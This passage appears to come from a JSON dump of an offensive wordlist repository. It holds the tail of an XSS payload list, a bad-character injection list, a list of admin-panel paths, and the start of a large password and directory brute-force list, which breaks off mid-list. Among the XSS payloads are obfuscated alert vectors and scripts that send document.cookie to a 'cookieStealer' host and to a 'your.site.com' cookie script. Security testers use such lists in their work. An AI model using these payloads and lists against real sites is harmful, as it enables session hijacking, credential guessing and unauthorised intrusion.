#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n<IMG%20SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\r\n<IMG%20SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\r\n'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E\r\n\"><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>\r\n%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E\r\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}\r\n'';!--\"<XSS>=&{()}\r\n"
  },
  {
    "path": "wordlist/Injections/bad_chars.txt",
    "content": "!\n\"\n%\n%0a\n%0d\n%7f\n%ff\n%n\n%s\n%x \n&\n'\n*\n+\n,\n-\n-1\n;\n<\n=\n>\n_\n\n"
  },
  {
    "path": "wordlist/general/admin-panels.txt",
    "content": "account.html\naccount.php\nadm/\nadm/admloginuser.php\nadm_auth.php\nadm.html\nadmin/\nadmin2/index.php\nadmin2/login.php\nadmin2.php\nadmin/account.html\nadmin/account.php\nadmin/admin.html\nadmin/admin_login.html\nadmin/admin-login.html\nadmin/adminLogin.html\nadmin/admin_login.php\nadmin/admin-login.php\nadmin/adminLogin.php\nadmin/admin.php\nadmin_area/\nadminarea/\nadmin_area/admin.html\nadminarea/admin.html\nadmin_area/admin.php\nadminarea/admin.php\nadmin_area/index.html\nadminarea/index.html\nadmin_area/index.php\nadminarea/index.php\nadmin_area/login.html\nadminarea/login.html\nadmin_area/login.php\nadminarea/login.php\nadmincontrol.html\nadmincontrol/login.html\nadmincontrol/login.php\nadmin/controlpanel.html\nadmin/controlpanel.php\nadmincontrol.php\nadmin/cp.html\nadmincp/index.asp\nadmincp/index.html\nadmincp/login.asp\nadmin/cp.php\nadm/index.html\nadm/index.php\nadmin/home.html\nadmin/home.php\nadmin.html\nadmin/index.html\nadmin/index.php\nadministrator/\nadministrator/account.html\nadministrator/account.php\nadministrator.html\nadministrator/index.html\nadministrator/index.php\nadministratorlogin/\nadministrator/login.html\nadministrator/login.php\nadministrator.php\nadminLogin/\nadmin_login.html\nadmin-login.html\nadmin/login.html\nadminLogin.html\nadmin_login.php\nadmin-login.php\nadmin/login.php\nadminLogin.php\nadminpanel.html\nadminpanel.php\nadmin.php\nadmloginuser.php\nadm.php\naffiliate.php\nbb-admin/\nbb-admin/admin.html\nbb-admin/admin.php\nbb-admin/index.html\nbb-admin/index.php\nbb-admin/login.html\nbb-admin/login.php\ncontrolpanel.html\ncontrolpanel.php\ncp.html\ncp.php\nhome.html\nhome.php\ninstadmin/\njoomla/administrator\nlogin.html\nlogin.php\nmemberadmin/\nmodelsearch/admin.html\nmodelsearch/admin.php\nmodelsearch/index.html\nmodelsearch/index.php\nmodelsearch/login.html\nmodelsearch/login.php\nmoderator/\nmoderator/admin.html\nmoderator/admin.php\nmoderator.html\nmoderator/login.html\nmoderator/login.php\nmoderator.php\nnsw/admin/login.php\npages/admin/admin-login.html\npages/admin/admin-login.php\npanel-administracion/\npanel-administracion/admin.html\npanel-administracion/admin.php\npanel-administracion/index.html\npanel-administracion/index.php\npanel-administracion/login.html\npanel-administracion/login.php\nrcjakar/admin/login.php\nsiteadmin/index.php\nsiteadmin/login.html\nsiteadmin/login.php\nuser.html\nuser.php\nwebadmin/\nwebadmin/admin.html\nwebadmin/admin.php\nwebadmin.html\nwebadmin/index.html\nwebadmin/index.php\nwebadmin/login.html\nwebadmin/login.php\nwebadmin.php\nwp-login.php\n"
  },
  {
    "path": "wordlist/general/big.txt",
    "content": "~\n@\n0\n00\n000000\n00000000\n0007\n007\n007007\n01\n02\n0246\n0249\n03\n1\n10\n100\n1000\n1022\n10sne1\n111111\n121212\n1225\n123\n123123\n1234\n12345\n123456\n1234567\n12345678\n1234qwer\n123abc\n123go\n1313\n131313\n13579\n14430\n1701d\n1928\n1951\n1a2b3c\n1p2o3i\n1q2w3e\n1qw23e\n1sanjose\n2\n20\n200\n2000\n2001\n2002\n2003\n2112\n21122112\n2222\n2welcome\n3\n369\n4444\n4runner\n5252\n54321\n5555\n5683\n654321\n666666\n6969\n696969\n777\n7777\n80486\n8675309\n888888\n90210\n911\n92072\n99999999\na\na12345\na1b2c3\na1b2c3d4\naa\naaa\naaaaaa\naaron\nabajo\nabby\nabc\nabc123\nabcd\nabcd1234\nabcde\nabcdef\nabcdefg\nabigail\nabout\nabsolut\nacademia\nacademic\nacces\nacceso\naccess\naccessgranted\nacciones\naccount\naccounting\naction\nactive\nactividad\nactividades\nactivitats\nactual\nacura\nada\nadam\nadg\nadidas\nadm\nadmin\nadministracio\nadministracion\nadministration\nAdministration\nadministrator\nadminsitradores\nadminsql\nadmon\nadrian\nadrianna\nadsl\nadvil\naeh\naerobics\nafegir\nagafar\nagenda\nagent\nagents\nairplane\najuda\nalaska\nalbany\nalbatross\nalbert\nalex\nalex1\nalexande\nalexander\nalexandr\nalexis\nalf\nalfred\nalgebra\nalias\naliases\nalice\nalicia\naliens\nalisa\nalison\nallen\nallison\nallo\nalmacen\nalpha\nalpha1\nalphabet\nalpine\nama\namadeus\namanda\namanda1\namber\namelie\namerica7\namorphous\namour\namy\nanalog\nanchor\nanderson\nandre\nandrea\nandrew\nandromache\nandy\nangel\nangela\nangels\nangerine\nangie\nangus\nanimal\nanimals\nanita\nann\nanna\nanne\nannette\nannie\nanswer\nanthony\nanthropogenic\nantic\nantiguo\nanvils\nanything\napache\naplicacion\napollo\napollo13\napp\napple\napple1\napples\nappliance\napplication\napplications\napps\napril\narchie\narchivar\narchive\narchives\narchivo\narchivos\narea\naria\nariadne\nariane\nariel\narizona\narlene\narrel\narriba\narrow\narthur\narticle\narticles\narticulo\narticulos\nartist\nartxiboa\narxiu\narxius\nasd\nasdf\nasdfg\nasdfgh\nasdfghjk\nasdfjkl\nasdfjkl;\nashley\nasm\nasp\naspen\nass\nasshole\nasterix\nath\nathena\natmosphere\nattach\nattachments\nattila\naudit\nauditoria\naugust\naupa\naurrera\naustin\nauth\nauto\nautomatic\navalon\nawesome\naylmer\nayuda\naztecs\nazure\nb\nbaby\nbabylon5\nbacchus\nbach\nback\nbackdoor\nbackoffice\nbackup\nbackups\nbadass\nbadger\nbai\nbailey\nbak\nbakup\nbamboo\nbanana\nbananas\nbanane\nbanca\nbanco\nbandit\nbank\nbanks\nbanner\nbarbara\nbarber\nbaritone\nbarney\nbarry\nbart\nbartman\nbase\nbaseball\nbasf\nbasic\nbasil\nbasket\nbaskeT\nbasketba\nbass\nbassoon\nbatch\nbatman\nbbdd\nbd\nbdata\nbdatos\nbea\nbeach\nbeagle\nbeaner\nbeanie\nbear\nbears\nbeater\nbeatles\nbeautifu\nbeauty\nbeaver\nbeavis\nbecky\nbeer\nbeethoven\nbelle\nbeloved\nbenjamin\nbenny\nbenoit\nbenson\nbenz\nbeowulf\nberkeley\nberlin\nberliner\nbernard\nbernie\nberri\nbertha\nberyl\nbeta\nbeth\nbetsie\nbetty\nbeverly\nbfi\nbicameral\nbidali\nbigbird\nbigdog\nbigmac\nbigman\nbigred\nbilatu\nbilbo\nbill\nbilling\nbilly\nbin\nbinaries\nbingo\nbinky\nbiology\nbird\nbird33\nbirdie\nbishop\nbitch\nbiteme\nblack\nblazer\nblizzard\nblonde\nblondie\nblowfish\nblue\nbluebird\nbluesky\nbmw\nbob\nbobby\nbobcat\nbolsa\nbond007\nbonjour\nbonnie\nbooboo\nbooger\nboogie\nboomer\nbooster\nboot\nboots\nbootsie\nboris\nborrar\nborsa\nboss\nboston\nbotiga\nboton\nbotones\nbozo\nbradley\nbrandi\nbrandon\nbrandy\nbraves\nbrenda\nbrewster\nbrian\nbridge\nbridges\nbridget\nbright\nbroadway\nbroken\nbrooke\nbruce\nbrutus\nbsd\nbubba\nbubba1\nbubbles\nbuck\nbuddy\nbuffalo\nbuffy\nbull\nbulldog\nbullet\nbulleti\nbullshit\nbumbling\nbunny\nburgess\nbuscador\nbuscar\nbusiness\nbuster\nbustia\nbutch\nbutler\nbutthead\nbutton\nbuttons\nbuzon\nbuzones\nbuzz\nbyteme\nc\ncabecera\ncache\ncactus\ncad\ncaesar\ncaitlin\ncaja\ncajon\ncalaix\ncaliforn\ncalvin\ncamaro\ncamera\ncamille\ncampanile\ncampanyes\ncampbell\ncamping\ncanada\ncanced\ncandi\ncandy\ncanela\ncannon\ncannonda\ncanon\ncantor\ncapsalera\ncaptain\ncard\ncardinal\ncards\ncaren\ncarga\ncargar\ncarl\ncarla\ncarlos\ncarmen\ncarol\ncarole\ncarolina\ncaroline\ncarpeta\ncarrie\ncarson\ncarta\ncascade\ncascades\ncasey\ncasper\ncassie\ncastle\ncat\ncatala\ncataleg\ncatalegs\ncatalog\ncatalogo\ncatalogos\ncatalogs\ncategories\ncatfish\ncatherine\ncathy\ncats\ncayuga\ncc\ncccccc\nccs\ncd\ncdrom\ncecily\ncedic\ncelica\nceline\nceller\nceltics\ncenter\ncentro\ncentros\ncerca\ncercador\ncert\ncertificate\ncerulean\ncesar\ncfdocs\ncfi\ncfj\ncgi\ncgibin\ncgi-bin\ncgi-bin/\ncgi-win\ncgj\nchalleng\nchampion\nchance\nchanel\nchange\nchangeme\nchaos\nchapman\ncharity\ncharles\ncharlie\ncharlie1\ncharlott\ncharming\ncharon\nchat\ncheese\nchelsea\nchem\nchemistry\ncherry\ncheryl\nchess\nchester\nchester1\nchevy\nchicago\nchicken\nchico\nchina\nchip\nchiquita\nchloe\nchocolat\nchris\nchris1\nchristia\nchristin\nchristina\nchristine\nchristop\nchristy\nchuck\nchurch\ncifrado\ncigar\ncinder\ncindy\nclaire\nclancy\nclark\nclass\nclasses\nclassic\nclassified\nclassifieds\nclassroo\nclaude\nclaudia\nclaus\nclave\nclaves\nclient\ncliente\nclientes\nclients\nclipper\ncloclo\ncluster\nclusters\ncm\ncmd\ncobra\ncocacola\ncoco\ncode\ncodigo\ncoffee\ncoger\ncoke\ncoleccion\ncolecciones\ncolleccio\ncolleen\ncollege\ncollins\ncolorado\ncoltrane\ncolumbia\ncommon\ncommrades\ncompaq\ncomponent\ncomponentes\ncompra\ncompras\ncompressed\ncompton\ncomputer\ncomrade\ncomrades\ncomun\ncomunes\ncomunicacio\ncomunicacion\ncomunicaciones\nconcept\ncondo\ncondom\nconecta\nconfig\nconfiguracion\nconfirmacio\nconnect\nconnie\nconrad\nconsole\ncontenedor\ncontenido\ncontenidos\ncontent\ncontents\ncontingut\ncontinguts\ncontrol\ncookie\ncookies\ncool\ncooper\ncopia\ncopper\ncorba\ncore\ncornelius\ncorona\ncorrado\ncorreo\ncorreu\ncorwin\ncosmos\ncougar\ncougars\ncounter\ncountry\ncourtney\ncouscous\ncowboy\ncowboys\ncoyote\ncpanel\ncracker\ncraig\ncrapp\ncrawford\ncreate\ncreation\ncreative\ncredit\ncreditcards\ncreosote\ncretin\ncricket\ncrida\ncriminal\ncristina\ncrow\ncrs\ncruise\ncrystal\ncs\ncshrc\ncss\ncuddles\ncuenta\ncuentas\ncurtis\ncustomer\ncustomers\ncutie\ncv\ncvs\ncyclone\ncynthia\ncyrano\nd\ndaddy\ndades\ndaemon\ndaisy\ndakota\ndallas\ndan\ndana\ndance\ndancer\ndaniel\ndanielle\ndanny\ndapper\ndarren\ndarwin\ndasha\ndat\ndata\ndatabase\ndatabases\ndataz\ndato\ndatos\ndav\ndave\ndavid\ndavid1\ndawn\ndaytek\ndb\ndba\ndbase\ndbm\ndbms\ndead\ndeadhead\ndean\ndeb\ndebbie\ndeborah\ndebug\ndecember\ndeedee\ndefault\ndefoe\ndejar\ndeliver\ndelta\ndeluge\ndemamar\ndemanas\ndemanda\ndemo\nDemo\nDEMO\ndemos\ndenali\ndenise\ndennis\ndepeche\nderecha\nderek\ndesarrollo\ndescarga\ndescarrega\ndescarregues\ndesenvolupament\ndesign\ndesiree\ndesperate\ndetroit\ndeutsch\ndev\ndevel\ndevelop\ndevelopement\ndevelopers\ndevelopment\ndevice\ndexter\ndgj\ndiablo\ndial\ndiamond\ndiana\ndiane\ndickhead\ndiet\ndieter\ndigital\ndigital1\ndilbert\ndir\ndirect1\ndirector\ndirectori\ndirectorio\ndirectory\ndirk\ndisc\ndiscovery\ndiseno\ndisk\ndisney\ndispatch\ndispatcher\ndisseny\ndixie\ndms\ndoc\ndocs\ndocs41\ndocs51\ndoctor\ndocument\ndocumentacio\ndocumentacion\ndocumento\ndocumentos\ndocuments\ndodger\ndodgers\ndog\ndogbert\ndollars\ndolphin\ndolphins\ndominic\ndomino\ndon\ndonald\ndonkey\ndonna\ndoogie\ndookie\ndoom\ndoom2\ndorothy\ndos\ndoug\ndougie\ndouglas\ndown\ndownload\ndownloads\ndragon\ndragon1\ndragonfl\ndreamer\ndreams\ndrought\nduck\nduckie\ndude\nduke\ndulce\nduncan\ndundee\ndusty\ndylan\ne\neager\neagle\neagle1\neagles\nearth\neasier\neaster\neasy\neatme\nebriefs\nechannel\neclipse\necommerce\neddie\nedges\nedinburgh\nedit\neditor\nedward\nedwin\nedwina\neeyore\negghead\neiderdown\neileen\neines\neinstein\nejemplo\nejemplos\nelaine\nelanor\nelectric\nelement\nelements\nelephant\nelizabet\nelizabeth\nellen\nelliot\nelsie\nelvis\nemail\ne-mail\nemerald\nemily\nemmanuel\nemployees\nempresa\nempresas\nempreses\nen\nenemy\nenergy\neng\nengine\nengineer\nenglish\nenigma\nenllacos\nenter\nenterprise\nentidades\nentitats\nentorno\nentornos\nentorns\nentrada\nentregar\nentregas\nentropy\nenvia\nenzyme\neprojects\nerenity\neric\nerica\nerika\nerin\nerreala\nerror\nerrors\nersatz\nes\nesales\nesborrar\nescola\nescuela\nesp\nespanol\nestablish\nestablished\nestate\nesupport\netc\neternity\netoile\neuclid\neugene\neurope\nevelyn\nexample\nexamples\nexcalibu\nexchange\nexec\nexecutable\nexecutables\nexplorer\nexport\nexpress\nextension\nexternal\nexternes\nexternos\nextra\nextranet\nez\nfairway\nfaith\nfalcon\nfamily\nfarmer\nfcgi-bin\nfeedback\nfelicia\nfelix\nfender\nfermat\nferrari\nferret\nfgh\nficha\nfichero\nficheros\nfiction\nfidelity\nfield\nfile\nfiles\nfinestra\nfinite\nfiona\nfire\nfireball\nfirebird\nfireman\nfirst\nfish\nfish1\nfisher\nfishers\nfishing\nfitxategia\nfitxer\nfitxers\nflakes\nflamingo\nflash\nfletch\nfletcher\nflight\nflip\nflipper\nfloat\nflorida\nflower\nflowers\nfloyd\nfluffy\nfonts\nfoo\nfoobar\nfool\nfoolproof\nfootball\nford\nforesight\nforest\nformat\nforo\nforsythe\nforum\nforums\nfoto\nfotos\nfountain\nfourier\nfox\nfoxtrot\nfozzie\nframe\nfrance\nfrancis\nfrancois\nfrank\nfranklin\nfreak1\nfred\nfreddy\nfrederic\nfreedom\nfrench1\nfriday\nfriend\nfriends\nfrighten\nfrodo\nfrog\nfrog1\nfroggy\nfrogs\nfront242\nftp\nfucker\nfuckme\nfuckoff\nfuckyou\nfugazi\nfun\nfunction\nfunctions\nfungible\nfuture\ngabriel\ngabriell\ngaby\ngalaxy\ngalileo\ngambit\ngames\ngandalf\ngarden\ngardner\ngarfield\ngarlic\ngarnet\ngary\ngasman\ngateway\ngator\ngatt\ngauss\ngemini\ngeneral\ngenesis\ngenius\ngeorge\ngeorgia\ngerald\ngertrude\ngest\ngestio\ngestion\nget\nghost\ngiants\ngibson\ngidak\ngilles\ngina\nginger\ngizmo\nglacier\nglenn\nglobal\nglossari\ngnu\ngo\ngoat\ngoblue\ngocougs\ngodzilla\ngofish\ngoforit\ngold\ngolden\ngolf\ngolfer\ngone\ngoober\ngoofy\ngopher\ngora\ngordon\ngorgeous\ngorges\ngosling\ngouge\ngrace\ngraham\ngrahm\ngrandma\ngrant\ngraphic\ngraphics\ngrateful\ngray\ngraymail\ngreen\ngreenday\ngreg\ngregory\ngretchen\ngretzky\ngroovy\ngroup\ngroups\ngrover\ngrumpy\ngryphon\nguardar\ngucci\nguess\nguest\nguestbook\nguests\nguido\nguinness\nguitar\ngumption\ngunner\nguntis\nh2opolo\nhack\nhacker\nhal\nhal9000\nhamlet\nhammer\nhandily\nhanlder\nhanna\nhannah\nhansolo\nhanson\nhappening\nhappy\nhappy1\nhappyday\nharley\nharmony\nharold\nharrison\nharry\nharvey\nhasi\nhawaii\nhawk\nhazel\nhead\nheader\nheaders\nhealth\nheart\nheather\nhebrides\nhector\nheidi\nheinlein\nhelen\nhell\nhello\nhello1\nhelp\nhelpme\nhendrix\nhenry\nherbert\nherman\nhermes\nherramientas\nhiawatha\nhibernia\nhidden\nhide\nhistoric\nhistory\nhits\nhockey\nhola\nholly\nhome\nhomebrew\nhomepage\nhomer\nhomes\nhomework\nhonda\nhonda1\nhoney\nhoops\nhootie\nhorizon\nhornet\nhorse\nhorses\nhorus\nhotdog\nhouse\nhouston\nhoward\nhtdocs\nhtm\nhtml\nhtmls\nhunter\nhutchins\nhydrogen\nib6ub9\nibm\nicecream\niceman\nid\nidbc\nidiot\niguana\nikusi\niloveyou\nimage\nimagen\nimagenes\nimages\nimagine\nimatge\nimatges\nimbroglio\nimpala\nimperial\nimport\ninc\ninclude\nincludes\nincoming\nincs\nindex\nindian\nindiana\nindice\nindigo\ninfo\ninformacio\ninformacion\ninformation\ninformix\ningres\ningresa\ningreso\ningress\ningrid\nini\ninicio\ninit\ninna\ninnocuous\ninnoweb\ninsane\ninside\ninstalacion\ninstall\ninstallation\ninteractive\nintern\ninternal\ninternet\nintranet\nintro\ninvestigado\ninvitado\ninvitados\nipp\nips\nireland\nirene\nirish\nirishman\nironman\nisaac\nisabelle\nisis\nisland\nitalia\nitaly\nizquierda\nj\njack\njackie\njackson\njacob\njaguar\njake\njamaica\njames\njames1\njan\njane\njanet\njanice\njanie\njapan\njared\njasmin\njasmine\njason\njason1\njasper\njava\njavascript\njazz\njdbc\njean\njeanette\njeanne\njeff\njeffrey\njen\njenifer\njenni\njennifer\njenny\njenny1\njensen\njeremy\njerry\njessica\njessie\njester\njesus\njesus1\njewels\njill\njim\njimbo\njixian\njkm\njoanna\njoanne\njob\njocs\njody\njoe\njoel\njoey\njohn\njohn316\njohnny\njohnson\njojo\njoker\njonathan\njordan\njordan23\njoseph\njosh\njoshua\njosie\njoy\njoyce\njrun\njs\njsp\njudith\njudy\njuego\njuegos\njuggle\njulia\njulian\njulie\njulie1\njune\njunior\njupiter\njustice\njustin\njustin1\nkaren\nkarie\nkarina\nkate\nkatherin\nkathleen\nkathrine\nkathy\nkatie\nkatina\nkatrina\nkeep\nkeith\nkelly\nkelly1\nkelsey\nkennedy\nkenneth\nkept\nkeri\nkermit\nkernel\nkerri\nkerrie\nkerry\nkevin\nkevin1\nkey\nkhan\nkids\nkiller\nkim\nkimberly\nking\nkingdom\nkingfish\nkirkland\nkitten\nkitten12\nkitty\nkleenex\nknicks\nknight\nkoala\nkoko\nkramer\nkrista\nkristen\nkristi\nkristie\nkristin\nkristine\nkristy\nlacrosse\nladdie\nladle\nlady\nladybug\nlakers\nlala\nlambda\nlamer\nlamination\nlana\nlara\nlarkin\nlarry\nlarry1\nlaser\nlaunch\nlaura\nlauren\nlaurie\nlaw\nlazarus\nldap\nleah\nlebesgue\nledzep\nlee\nleer\nleft\nlegend\nleland\nleon\nleonard\nleroy\nleslie\nlestat\nletmein\nletras\nlewis\nlib\nlibraries\nlibrary\nlibros\nlibs\nlight\nlincoln\nlinda\nlindsay\nlindsey\nlinks\nlinux\nlionking\nlisa\nlisp\nlist\nlistar\nliverpoo\nliz\nlizard\nljf\nllamada\nllamadas\nllave\nllaves\nlletres\nlleure\nllibres\nlloyd\nload\nlocal\nlocalitzador\nlocalizador\nlocals\nlock\nlockout\nlog\nLog\nlogan\nlogfile\nlogfiles\nlogger\nlogging\nlogical\nlogin\nlogon\nlogout\nlogs\nLogs\nlois\nlolo\nlondon\nlooney\nlori\nlorin\nlorraine\nloser\nlost+found\nlouis\nlouise\nlove\nlovely\nloveme\nloveyou\nlucas\nlucky\nlucky1\nlucy\nlulu\nlynn\nlynne\nmac\nmacha\nmacintos\nmacintosh\nmack\nmaddog\nmadison\nmaggie\nmaggot\nmagic\nmagnum\nmail\nmailer\nmailman\nmain\nmaint\nmajor\nmajordom\nmakusi\nmalcolm\nmalcom\nmanage\nmanagement\nmanager\nmantra\nmanual\nmap\nmapa\nmaquinari\nmara\nmarc\nmarcel\nmarci\nmarcus\nmarcy\nmargaret\nmaria\nmariah\nmarie\nmarietta\nmarilyn\nmarina\nmarine\nmario\nmariposa\nmark\nmarket\nmarketing\nmarkus\nmarlboro\nmarley\nmarni\nmars\nmartin\nmartin1\nmarty\nmarvin\nmary\nmaryjane\nmaster\nmaster1\nmath\nmatrix\nmatt\nmatthew\nmaurice\nmaverick\nmax\nmaxime\nmaxwell\nmayday\nmazda1\nmbo\nmdb\nme\nmeagan\nmedical\nmedios\nmegan\nmelanie\nmelissa\nmellon\nmember\nmembers\nmemory\nmemphis\nmenu\nmeow\nmercedes\nmercury\nmerlin\nmessage\nmessages\nmessaging\nmeta\nmetabase\nmetal\nmetallic\nmets\nmexico\nmezuak\nmgr\nmichael\nmichel\nmichele\nmichelle\nmickey\nmicro\nmidnight\nmidori\nmikael\nmike\nmike1\nmikey\nmiki\nmiles\nmiller\nmillie\nmillion\nmimi\nmindy\nmine\nminimum\nminnie\nminou\nminsky\nmirage\nmiranda\nmirror\nmirrors\nmisc\nmisha\nmishka\nmission\nmissy\nmisty\nmit\nmitch\nmitchell\nmitjans\nmkstats\nmodem\nmogul\nmoguls\nmolly\nmolly1\nmolson\nmom\nmonday\nmonet\nmoney\nmoney1\nmonica\nmonique\nmonkey\nmonopoly\nmontana\nmontreal\nmoocow\nmookie\nmoomoo\nmoon\nmoose\nmorgan\nmorley\nmoroni\nmorris\nmortimer\nmostra\nmostrar\nmostres\nmot\nmother\nmountain\nmouse\nmouse1\nmovimientos\nmozart\nmp3\nmp3s\nmqseries\nms\nmsql\nmssql\nms-sql\nmuestra\nmuestras\nmuffin\nmurphy\nmusic\nmustang\nmutant\nmy\nmysql\nmy-sql\nnada\nnagel\nnames\nnancy\nnaomi\nnapoleon\nnasa\nnascar\nnat\nnatasha\nnathan\nnautica\nncc1701\nncc1701d\nncc1701e\nne\nne1469\nnebraska\nnellie\nnelson\nnemesis\nnepenthe\nneptune\nnesbitt\nness\nnet\nnetscape\nnetware\nnetwork\nnew\nnewcourt\nnewpass\nnews\nnewton\nnewuser\nnewyork\nnext\nnguyen\nnicarao\nnicholas\nnick\nnicole\nniki\nnikita\nnimrod\nniners\nnirvana\nnirvana1\nnissan\nnita\nnite\nnl\nnobody\nnone\nnoreen\nnorman\nnothing\nnoticia\nnoticias\nnoticies\nnotused\nnou\nnovetats\nnoxious\nnss\nnuclear\nnucleo\nnuevo\nnugget\nnul\nnulo\nnumber9\nnurse\nnutrition\nnyquist\noatmeal\nobiwan\nobrir\noceanography\nocelot\noctober\noculto\nodbc\nof\noffice\nogl\nold\noldie\nolive\noliver\nolivetti\nolivia\nolivier\nolvidado\none\nonline\nopen\noperacio\noperator\nopus\noracl\noracle\noradata\norange\noranges\norca\norchid\norder\norders\norganitzacions\norganizacion\norganizaciones\norion\norwell\noscar\nosiris\nou812\noutgoing\noutlaw\noxford\npacers\npacific\npackard\npacker\npackers\npad\npages\nPages\npagina\npaginas\npagines\npainless\npainter\npakistan\npalabra\npam\npamela\npanda\npandora\npanel\npantera\npanther\npapa\npaper\npapers\nparis\nparker\nparrot\npas\npascal\npaso\npass\npasses\npassion\npassw\npasswd\npasswor\npassword\npasswords\npat\npatches\npath\npatricia\npatrick\npatty\npaul\npaula\npdf\npeace\npeaches\npeanut\npearl\npearljam\npedro\npeewee\npeggy\npencil\npenelope\npenguin\npenis\npenny\npentium\npeoria\npepper\npepsi\npercolate\npercy\nperfil\nperl\nperl5\nperry\npersimmon\npersona\npersonal\npersonales\npersonals\npestana\npestanya\npestanyes\npete\npeter\npetey\npetunia\npeu\npgsql\nphantom\nphil\nphilip\nphish\nphoenix\nphoenix1\nphone\nphoto\nphp\nphpmyadmin\nphpMyAdmin\npiano\npicasso\npickle\npics\npicture\npierce\npierre\npiglet\npinkfloy\npirate\npisces\npix\npizza\npl\nplane\nplanet\nplano\nplato\nplay\nplayboy\nplayer\nplayers\nplease\nplover\npls\npluto\nplx\nplymouth\npmc\npoiuyt\npol\npolice\npolitics\npoll\npolly\npolo\npolynomial\npomme\npondering\npoohbear\npookie\npookie1\npopcorn\npopeye\npork\nporsche\nporsche9\nporta\nportada\nportal\nporter\nportland\npost\nposter\npostgres\npower\nppal\nppp\npraise\nprecious\nprelude\npress\npresto\npreston\npreview\nprimer\nprimero\nprince\nprincess\nprinceton\nprincipal\npriv\nprivado\nprivat\nprivate\nprivs\nprobando\nprocesos\nprod\nproduction\nproducts\nprof\nprofessor\nprofile\nprogram\nprograma\nprogramador\nprogramari\nprogramas\nproject\nprojecte\nprojectes\npromethe\nproperties\nproperty\nprotect\nprotel\nprotozoa\nprova\nProva\nprova1\nprova2\nprovas\nProvas\nproveedores\nproyecto\nproyectos\nprueba\nPRUEBA\nprueba00\nprueba01\nprueba1\nprueba2\npruebas\nPruebas\nPRUEBAS\nps\npsalms\npsycho\npub\npublic\npublica\npublicacion\npublicaciones\npublicacions\npublicar\npublico\npublish\npublisher\npuerta\npujar\npumpkin\npuneet\npunkin\npuppet\npuppy\npuppy123\npurchase\npurchases\npurple\nput\npw\npwd\npyramid\npython\nq1w2e3\nquality\nquebec\nquery\nquest\nqwaszx\nqwert\nqwerty\nqwerty12\nrabbit\nracerx\nrachel\nrachelle\nrachmaninoff\nracoon\nradio\nraiders\nrain\nrainbow\nraindrop\nraiz\nraleigh\nrambo1\nrandom\nrandy\nranger\nraptor\nraquel\nrascal\nraven\nraymond\nrcs\nreadme\nreagan\nreality\nreally\nrebecca\nrecerca\nrecoger\nrecull\nreculls\nred\nreddog\nredirect\nredrum\nredwing\nreg\nreginternal\nregional\nregister\nregistered\nregistre\nregistres\nregistro\nregistros\nremember\nremote\nremoto\nremoved\nrenee\nrepaso\nreports\nrepublic\nrequisite\nresearch\nreseller\nresource\nrespaldo\nrestricted\nretail\nrevista\nreynolds\nreznor\nrhonda\nrichard\nrick\nricky\nright\nrincon\nripple\nrisc\nriver\nrje\nrobbie\nrobert\nrobert1\nrobin\nrobinhoo\nrobot\nrobotech\nrobotics\nrobyn\nrochelle\nrochester\nrock\nrocket\nrocky\nrodent\nroger\nrolex\nroman\nromano\nronald\nroot\nrose\nrosebud\nrosemary\nroses\nrosie\nroxy\nroy\nroyal\nrpc\nruben\nruby\nrufus\nrugby\nrules\nrunner\nrunning\nrussell\nrusty\nruth\nrux\nruy\nryan\nsabrina\nsadie\nsafety\nsailing\nsailor\nsaioa\nsal\nsales\nsally\nsalmon\nsalo\nsalon\nsalut\nsalvar\nsam\nsamantha\nsammy\nsample\nsamples\nsampson\nsamson\nsamuel\nsandra\nsandy\nsanjose1\nsanta\nsapphire\nsara\nsarah\nsarah1\nsasha\nsaskia\nsassy\nsaturn\nsavage\nsave\nsaved\nsaxon\nsbdc\nscamper\nscarlet\nscarlett\nscheme\nschool\nscience\nscooby\nscooter\nscooter1\nscorpio\nscorpion\nscotch\nscott\nscotty\nscout\nscr\nscratc\nscript\nscripts\nscruffy\nscuba1\nsean\nsearch\nseattle\nsecci\nseccio\nseccion\nsecret\nsecreto\nsecrets\nsection\nsections\nsecure\nsecured\nsecurity\nsegon\nsegundo\nseguretat\nseguridad\nselect\nsell\nsensor\nseptembe\nserenity\nsergei\nserveis\nserver\nservers\nserver_stats\nservice\nservices\nservicio\nservicios\nservidor\nservlet\nServlet\nservlets\nServlets\nsesame\nsession\nsessions\nsetup\nseven\nseven7\nsex\nsexy\nshadow\nshadow1\nshalom\nshannon\nshanti\nsharc\nshark\nsharks\nsharon\nshawn\nsheba\nsheena\nsheffield\nsheila\nshelby\nsheldon\nshell\nshelley\nshelly\nsherri\nsherry\nshirley\nshit\nshithead\nshiva\nshivers\nshoes\nshop\nshopper\nshorty\nshotgun\nshow\nshtml\nshuttle\nsierra\nsignature\nsilver\nsimba\nsimon\nsimple\nsimpsons\nsinger\nsingle\nsistemas\nsistemes\nsite\nsites\nsitio\nskeeter\nskidoo\nskiing\nskipper\nskippy\nslacker\nslayer\nsmashing\nsmile\nsmiles\nsmiley\nsmiths\nsmokey\nsmooch\nsmother\nsnake\nsnapple\nsnatch\nsnickers\nsniper\nsnoopdog\nsnoopy\nsnow\nsnowball\nsnowman\nsnuffy\nsoap\nsoapdocs\nsoccer\nsoccer1\nsocrates\nsoftball\nsoftware\nsolaris\nsoleil\nsomebody\nsondra\nsonia\nsonny\nsonya\nsophie\nsossina\nsource\nsources\nSources\nspace\nspain\nspanish\nspanky\nsparky\nsparrow\nsparrows\nspecial\nspeedo\nspeedy\nspencer\nspider\nspike\nspit\nspitfire\n